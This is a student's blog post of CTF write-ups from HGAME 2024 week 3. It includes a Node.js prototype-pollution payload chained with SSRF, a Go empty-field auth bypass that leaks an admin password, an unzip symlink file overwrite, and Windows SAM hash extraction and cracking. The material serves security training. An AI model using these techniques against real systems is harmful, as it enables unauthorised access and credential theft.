HGAME 2024 WEEK3-By.Starven

发布于 2024-02-27  17 次阅读


Web-webvpn

考点

  • js原型链__proto过滤__污染配合ssrf

题目描述

image.png

分析

下载题目附件得到js源码

代审后已加注释

const express = require("express");
const axios = require("axios");
const bodyParser = require("body-parser");
const path = require("path");
const fs = require("fs");
const { v4: uuidv4 } = require("uuid");
const session = require("express-session");

const app = express();
const port = 3000;
const session_name = "my-webvpn-session-id-" + uuidv4().toString();

app.set("view engine", "pug");
app.set("trust proxy", false);
app.use(express.static(path.join(__dirname, "public")));
app.use(
  session({
    name: session_name,
    secret: uuidv4().toString(),
    secure: false,
    resave: false,
    saveUninitialized: true,
  })
);
app.use(bodyParser.json());
var userStorage = {
  username: {
    password: "password",
    info: {
      age: 18,
    },
    strategy: {
      "baidu.com": true,
      "google.com": false,
    },
  },
};

function update(dst, src) {
  for (key in src) {
    if (key.indexOf("__") != -1) {
      continue;
    }
    if (typeof src[key] == "object" && dst[key] !== undefined) {
      update(dst[key], src[key]);
      continue;
    }
    dst[key] = src[key];
  }
}

app.use("/proxy", async (req, res) => {
  const { username } = req.session;
  if (!username) {
    res.sendStatus(403);
  }

  let url = (() => {          //创建url对象,并且通过js的内置对象URL检查是否有url参数,如果没有则返回invalid url.
    try {                       //比如直接访问/proxy就会返回invalid url.
      return new URL(req.query.url);
    } catch {
      res.status(400);
      res.end("invalid url.");
      return undefined;
    }
  })();

  if (!url) return;

  if (!userStorage[username].strategy[url.hostname]) {    //检查url对象的主机名部分不包括端口号
    res.status(400);
    res.end("your url is not allowed.");
  }  //检查userStorage[username].strategy是否为ture,比如Google.com为false就会返回your url is not allowed

  try {
    const headers = req.headers;
    headers.host = url.host;
    headers.cookie = headers.cookie.split(";").forEach((cookie) => {
      var filtered_cookie = "";
      const [key, value] = cookie.split("=", 1);         //分割cookie第一个=左右的值并分配给key,value
      if (key.trim() !== session_name) {
        filtered_cookie += `${key}=${value};`;
      }
      return filtered_cookie;//将不是会话 cookie 的其他 cookie 过滤掉,并将剩余的会话 cookie 构建成一个新的 cookie 字符串,最后返回
    });
    const remote_res = await (() => {
      if (req.method == "POST") {
        return axios.post(url, req.body, {
          headers: headers,
        });
      } else if (req.method == "GET") {
        return axios.get(url, {
          headers: headers,
        });
      } else {
        res.status(405);
        res.end("method not allowed.");
        return;
      }
    })();
    res.status(remote_res.status);
    res.header(remote_res.headers);
    res.write(remote_res.data);
  } catch (e) {
    res.status(500);
    res.end("unreachable url.");
  }
});

app.post("/user/login", (req, res) => {
  const { username, password } = req.body;
  if (
    typeof username != "string" ||
    typeof password != "string" ||
    !username ||
    !password
  ) {
    res.status(400);
    res.end("invalid username or password");
    return;
  }
  if (!userStorage[username]) {
    res.status(403);
    res.end("invalid username or password");
    return;
  }
  if (userStorage[username].password !== password) {
    res.status(403);
    res.end("invalid username or password");
    return;
  }
  req.session.username = username;
  res.send("login success");
});

// under development
app.post("/user/info", (req, res) => {
  if (!req.session.username) {
    res.sendStatus(403);
  }
  update(userStorage[req.session.username].info, req.body);
  res.sendStatus(200);
});

app.get("/home", (req, res) => {
  if (!req.session.username) {
    res.sendStatus(403);
    return;
  }
  res.render("home", {
    username: req.session.username,
    strategy: ((list)=>{
      var result = [];
      for (var key in list) {
        result.push({host: key, allow: list[key]});
      }
      return result;
    })(userStorage[req.session.username].strategy),
  });
});

// demo service behind webvpn
app.get("/flag", (req, res) => {
  if (
    req.headers.host != "127.0.0.1:3000" ||
    req.hostname != "127.0.0.1" ||
    req.ip != "127.0.0.1" 
  ) {
    res.sendStatus(400);
    return;
  }
  const data = fs.readFileSync("/flag");
  res.send(data);
});

app.listen(port, '0.0.0.0', () => {
  console.log(`app listen on ${port}`);
});

可以看到这段代码存在原型链污染

function update(dst, src) {
  for (key in src) {
    if (key.indexOf("__") != -1) {
      continue;
    }
    if (typeof src[key] == "object" && dst[key] !== undefined) {
      update(dst[key], src[key]);
      continue;
    }
    dst[key] = src[key];
  }
}

大致思路如下:如果污染strategy使其存在一个127.0.0.1的属性,然后在/proxy通过ssrf读取127.0.0.1:3000/flag路由,因为/proxy路由只允许读取strategy。因此通过update函数污染strategy使127.0.0.1为true即可

/user/info调用了update函数,去该路由下进行污染

image.png
POST /user/info HTTP/1.1
Host: 139.224.232.162:31989
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: identity
Accept-Language: zh-CN,zh;q=0.9
Content-Length: 0
Content-Type: application/json
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
cookie: my-webvpn-session-id-16d07129-af5d-4a94-832c-64e7b05aa0b1=s%3AosV8JgT2QnWChtj1Sv6k60jNRbqI52s1.LzRMjQQ6BffOIBuax2qIa%2F4rvaYZ6ByGKe%2FaMR9ZPIM

{"constructor":{"prototype":{"127.0.0.1":true}}}

然后访问139.224.232.162:31989/proxy?url=http://127.0.0.1:3000/flag

会有一个proxy文件下载下来,打开就是flag

image.png

flag

hgame{960fd010edba920bca9b16b93ac3e9756052142f}

Web-Zero Link

考点

  • 用户登录存在的逻辑漏洞(GO语言的零值设计,无法区分结构体中的字段是否被赋值过)
  • 文件上传软连接

题目描述

image.png

分析

开题是这样一个界面

image.png

下载附件得到

image.png

代审\src\internal\database\sqlite.go路由

这是开题页面的后端代码,用于查询用户信息

package database

import (
    "log"
    "zero-link/internal/config"

    "gorm.io/driver/sqlite"
    "gorm.io/gorm"
)

var db *gorm.DB

type User struct {
    gorm.Model
    Username string `gorm:"not null;column:username;unique"`
    Password string `gorm:"not null;column:password"`
    Token    string `gorm:"not null;column:token"`
    Memory   string `gorm:"not null;column:memory"`
}

func init() {
    databaseLocation := config.Sqlite.Location

    var err error
    db, err = gorm.Open(sqlite.Open(databaseLocation), &gorm.Config{})
    if err != nil {
        panic("Cannot connect to SQLite: " + err.Error())
    }

    err = db.AutoMigrate(&User{})
    if err != nil {
        panic("Failed to migrate database: " + err.Error())
    }

    users := []User{
        {Username: "Admin", Token: "0000", Password: "Admin password is here", Memory: "Keep Best Memory!!!"},
        {Username: "Taka", Token: "4132", Password: "newfi443543", Memory: "Love for pixel art."},
        {Username: "Tom", Token: "8235", Password: "ofeni3525", Memory: "Family is my treasure"},
        {Username: "Alice", Token: "1234", Password: "abcde12345", Memory: "Graduating from college"},
        {Username: "Bob", Token: "5678", Password: "fghij67890", Memory: "Winning a championship in sports"},
        {Username: "Charlie", Token: "9012", Password: "klmno12345", Memory: "Traveling to a foreign country for the first time"},
        {Username: "David", Token: "3456", Password: "pqrst67890", Memory: "Performing on stage in a theater production"},
        {Username: "Emily", Token: "7890", Password: "uvwxy12345", Memory: "Meeting my favorite celebrity"},
        {Username: "Frank", Token: "2345", Password: "zabcd67890", Memory: "Overcoming a personal challenge"},
        {Username: "Grace", Token: "6789", Password: "efghi12345", Memory: "Completing a marathon"},
        {Username: "Henry", Token: "0123", Password: "jklmn67890", Memory: "Becoming a parent"},
        {Username: "Ivy", Token: "4567", Password: "opqrs12345", Memory: "Graduating from high school"},
        {Username: "Jack", Token: "8901", Password: "tuvwx67890", Memory: "Starting my own business"},
        {Username: "Kelly", Token: "2345", Password: "yzabc12345", Memory: "Learning to play a musical instrument"},
        {Username: "Liam", Token: "6789", Password: "defgh67890", Memory: "Winning a scholarship for higher education"},
    }
    for _, user := range users {
        result := db.Create(&user)
        if result.Error != nil {
            panic("Failed to create user: " + result.Error.Error())
        }
    }
}

func GetPasswordByUsername(username string) (string, error) {
    var user User
    err := db.Where("username = ?", username).First(&user).Error
    if err != nil {
        log.Println("Cannot get password: " + err.Error())
        return "", err
    }
    return user.Password, nil
}

func GetUserByUsernameOrToken(username string, token string) (*User, error) {
    var user User
    query := db
    if username != "" {
        query = query.Where(&User{Username: username})
    } else {
        query = query.Where(&User{Token: token})
    }
    err := query.First(&user).Error
    if err != nil {
        log.Println("Cannot get user: " + err.Error())
        return nil, err
    }
    return &user, nil
}

 

代审下来之后,这就是个数据库操作的后端代码,并提供了查询功能

因此下一步目标就是获取admin的password

审计routes.go,给出了路由

package routes

import (
    "fmt"
    "html/template"
    "net/http"
    "os"
    "os/signal"
    "path/filepath"
    "zero-link/internal/config"
    "zero-link/internal/controller/auth"
    "zero-link/internal/controller/file"
    "zero-link/internal/controller/ping"
    "zero-link/internal/controller/user"
    "zero-link/internal/middleware"
    "zero-link/internal/views"

    "github.com/gin-contrib/sessions"
    "github.com/gin-contrib/sessions/cookie"
    "github.com/gin-gonic/gin"
)

func Run() {
    r := gin.Default()

    html := template.Must(template.New("").ParseFS(views.FS, "*"))
    r.SetHTMLTemplate(html)

    secret := config.Secret.SessionSecret
    store := cookie.NewStore([]byte(secret))
    r.Use(sessions.Sessions("session", store))

    api := r.Group("/api")
    {
        api.GET("/ping", ping.Ping)
        api.POST("/user", user.GetUserInfo)
        api.POST("/login", auth.AdminLogin)

        apiAuth := api.Group("")
        apiAuth.Use(middleware.Auth())
        {
            apiAuth.POST("/upload", file.UploadFile)
            apiAuth.GET("/unzip", file.UnzipPackage)
            apiAuth.GET("/secret", file.ReadSecretFile)
        }
    }

    frontend := r.Group("/")
    {
        frontend.GET("/", func(c *gin.Context) {
            c.HTML(http.StatusOK, "index.html", nil)
        })
        frontend.GET("/login", func(c *gin.Context) {
            c.HTML(http.StatusOK, "login.html", nil)
        })

        frontendAuth := frontend.Group("")
        frontendAuth.Use(middleware.Auth())
        {
            frontendAuth.GET("/manager", func(c *gin.Context) {
                c.HTML(http.StatusOK, "manager.html", nil)
            })
        }
    }

    quit := make(chan os.Signal)
    signal.Notify(quit, os.Interrupt)

    go func() {
        <-quit
        err := os.Remove(filepath.Join(".", "sqlite.db"))
        if err != nil {
            fmt.Println("Failed to delete sqlite.db:", err)
        } else {
            fmt.Println("sqlite.db deleted")
        }
        os.Exit(0)
    }()

    r.Run(":8000")
}

 

审计\src\internal\controller\user\user.go

package user

import (
    "net/http"
    "zero-link/internal/database"

    "github.com/gin-gonic/gin"
)

type UserInfoResponse struct {
    Code    int            `json:"code"`
    Message string         `json:"message"`
    Data    *database.User `json:"data"`
}

func GetUserInfo(c *gin.Context) {
    var req struct {
        Username string `json:"username"`
        Token    string `json:"token"`
    }

    if err := c.ShouldBindJSON(&req); err != nil {
        c.JSON(http.StatusBadRequest, UserInfoResponse{
            Code:    http.StatusBadRequest,
            Message: "Invalid request body",
            Data:    nil,
        })
        return
    }

    if req.Username == "Admin" || req.Token == "0000" {
        c.JSON(http.StatusForbidden, UserInfoResponse{
            Code:    http.StatusForbidden,
            Message: "Forbidden",
            Data:    nil,
        })
        return
    }

    user, err := database.GetUserByUsernameOrToken(req.Username, req.Token)
    if err != nil {
        c.JSON(http.StatusInternalServerError, UserInfoResponse{
            Code:    http.StatusInternalServerError,
            Message: "Failed to get user",
            Data:    nil,
        })
        return
    }

    if user == nil {
        c.JSON(http.StatusNotFound, UserInfoResponse{
            Code:    http.StatusNotFound,
            Message: "User not found",
            Data:    nil,
        })
        return
    }

    response := UserInfoResponse{
        Code:    http.StatusOK,
        Message: "Ok",
        Data:    user,
    }

    c.JSON(http.StatusOK, response)
}

 

尽管页面限制了 token 和 username 不能同时为空,但是后端没限制。

只判断token和username是否在数据库中,或者是否为Admin或者0000,却没有判断是否为空,将两者都设置为空

官方解释如下

image.png

于是传空值

image.png

可以看到响应包返回了密码

{
    "code": 200,
    "message": "Ok",
    "data": {
        "ID": 1,
        "CreatedAt": "2024-02-26T10:50:44.740550463Z",
        "UpdatedAt": "2024-02-26T10:50:44.740550463Z",
        "DeletedAt": null,
        "Username": "Admin",
        "Password": "Zb77jbeoZkDdfQ12fzb0",
        "Token": "0000",
        "Memory": "Keep Best Memory!!!"
    }
}

然后用此密码登进系统

image.png

发现是文件上传

image.png

审计src\internal\controller\file\file.go源码

for _, file := range files {
        cmd := exec.Command("unzip", "-o", file, "-d", "/tmp/")
        if err := cmd.Run(); err != nil {
            c.JSON(http.StatusInternalServerError, FileResponse{
                Code:    http.StatusInternalServerError,
                Message: "Failed to unzip file: " + file,
                Data:    "",
            })
            return
        }
    }

存在这样一段代码,不难想到文件上传之unzip软链接攻击

file.go完整代码如下

package file

import (
    "net/http"
    "os"
    "os/exec"
    "path/filepath"
    "zero-link/internal/util"

    "github.com/gin-gonic/gin"
)

type FileResponse struct {
    Code    int    `json:"code"`
    Message string `json:"message"`
    Data    string `json:"data"`
}

func UploadFile(c *gin.Context) {
    file, err := c.FormFile("file")
    if err != nil {
        c.JSON(http.StatusBadRequest, FileResponse{
            Code:    http.StatusBadRequest,
            Message: "No file uploaded",
            Data:    "",
        })
        return
    }

    ext := filepath.Ext(file.Filename)
    if (ext != ".zip") || (file.Header.Get("Content-Type") != "application/zip") {
        c.JSON(http.StatusBadRequest, FileResponse{
            Code:    http.StatusBadRequest,
            Message: "Only .zip files are allowed",
            Data:    "",
        })
        return
    }

    filename := "/app/uploads/" + file.Filename

    if _, err := os.Stat(filename); err == nil {
        err := os.Remove(filename)
        if err != nil {
            c.JSON(http.StatusInternalServerError, FileResponse{
                Code:    http.StatusInternalServerError,
                Message: "Failed to remove existing file",
                Data:    "",
            })
            return
        }
    }

    err = c.SaveUploadedFile(file, filename)
    if err != nil {
        c.JSON(http.StatusInternalServerError, FileResponse{
            Code:    http.StatusInternalServerError,
            Message: "Failed to save file",
            Data:    "",
        })
        return
    }

    c.JSON(http.StatusOK, FileResponse{
        Code:    http.StatusOK,
        Message: "File uploaded successfully",
        Data:    filename,
    })
}

func UnzipPackage(c *gin.Context) {
    files, err := filepath.Glob("/app/uploads/*.zip")
    if err != nil {
        c.JSON(http.StatusInternalServerError, FileResponse{
            Code:    http.StatusInternalServerError,
            Message: "Failed to get list of .zip files",
            Data:    "",
        })
        return
    }

    for _, file := range files {
        cmd := exec.Command("unzip", "-o", file, "-d", "/tmp/")
        if err := cmd.Run(); err != nil {
            c.JSON(http.StatusInternalServerError, FileResponse{
                Code:    http.StatusInternalServerError,
                Message: "Failed to unzip file: " + file,
                Data:    "",
            })
            return
        }
    }

    c.JSON(http.StatusOK, FileResponse{
        Code:    http.StatusOK,
        Message: "Unzip completed",
        Data:    "",
    })
}

func ReadSecretFile(c *gin.Context) {
    secretFilepath := "/app/secret"
    content, err := util.ReadFileToString(secretFilepath)
    if err != nil {
        c.JSON(http.StatusInternalServerError, FileResponse{
            Code:    http.StatusInternalServerError,
            Message: "Failed to read secret file",
            Data:    "",
        })
        return
    }

    secretContent, err := util.ReadFileToString(content)
    if err != nil {
        c.JSON(http.StatusInternalServerError, FileResponse{
            Code:    http.StatusInternalServerError,
            Message: "Failed to read secret file content",
            Data:    "",
        })
        return
    }

    c.JSON(http.StatusOK, FileResponse{
        Code:    http.StatusOK,
        Message: "Secret content read successfully",
        Data:    secretContent,
    })
}

这里再来理一下思路:这里的源码全部都指向/app,说明工作目录基于/app,因此我上传软连接需要将压缩包指向应用工作目录/app然后再进行其他操作

制作压缩包

image.png

上传1.zip后调用/api/unzip进行解压

image.png

然后调用/api/secrert路由

image.png

发现默认读取的是fake_flag

再创建⼀个 link/secret ⽂件,⽂件内容为 /flag ,然后压缩这个 link ⽬录为2.zip,上传后

image.png

调⽤ /api/unzip 接⼝进⾏解压,⽤⾃定义的secret⽂件覆盖系统中原有的secret⽂件(原本secret文件时/fake_flag,现在改为/flag)

因此上传2.zip后再次解压调用/api/secret即可读取/flag内容

image.png

flag

hgame{w0W_u_Re4l1y_Kn0W_Golang_4ND_uNz1P!}

Web-Vidarbox

题目描述

image.png

分析

Misc-与ai聊天

纯脑洞

image.png
image.png

Misc-简单的vmdk取证

考点

  • 硬盘取证-Windows系统密码破解-saminside工具利用

题目描述

image.png

分析

下载附件得到一个vmdk文件,显然是硬盘取证

通过7z处理vmdk(其实预期工具最好是magnet AXIOM,工具太大还没下好,这里我用saminside替代)

7z x hgame.vmdk -o./
image.png

题目要求获取Windows密码及其nt-hash

思路如下:
1.获取目录C:Windows\System32\config下的SAM和SYSTEM文件
2.使用SAMInside获取用户的NT-HASH
3.在线网站破解

第二步通过saminside加载之后如下图

image.png

得到 admin的ntash的password为DAC3A2930FC196001F3AEAB959748448

去在线网站破解https://cmd5.org/

image.png

所以flag为

hgame{DAC3A2930FC196001F3AEAB959748448_admin1234}

flag

hgame{DAC3A2930FC196001F3AEAB959748448_admin1234}

Misc-简单的取证,不过前十个有红包

考点

  • 磁盘取证
  • 二进制文件挂载(veracrypt工具的使用)

题目描述

image.png

上一个题的磁盘里有图片

分析

下载附件得到一个vera.hc,这个hc文件是啥呢?

"hc" 文件通常是一种二进制文件格式的缩写

通过veracrypt工具挂载hc文件需要密码,而这个题的题目描述 不难想到密码要从上一个题的磁盘里面去找

然后找到一张jpg得到密码968fJD17UBzZG6e3yjF6

image.png

拿去veracrypt挂载

image.png
image.png

打开flag.txt即flag

image.png

flag

hgame{happy_new_year_her3_1s_a_redbag_key_41342177}

Misc-Blind Sql Injection

考点

  • sql盲注的流量分析

题目描述

image.png

分析

工具一把梭

flag

flag{cbabafe7-1725-4e98-bac6-d38c5928af2f}

大一在读菜鸡ctfer的成长记录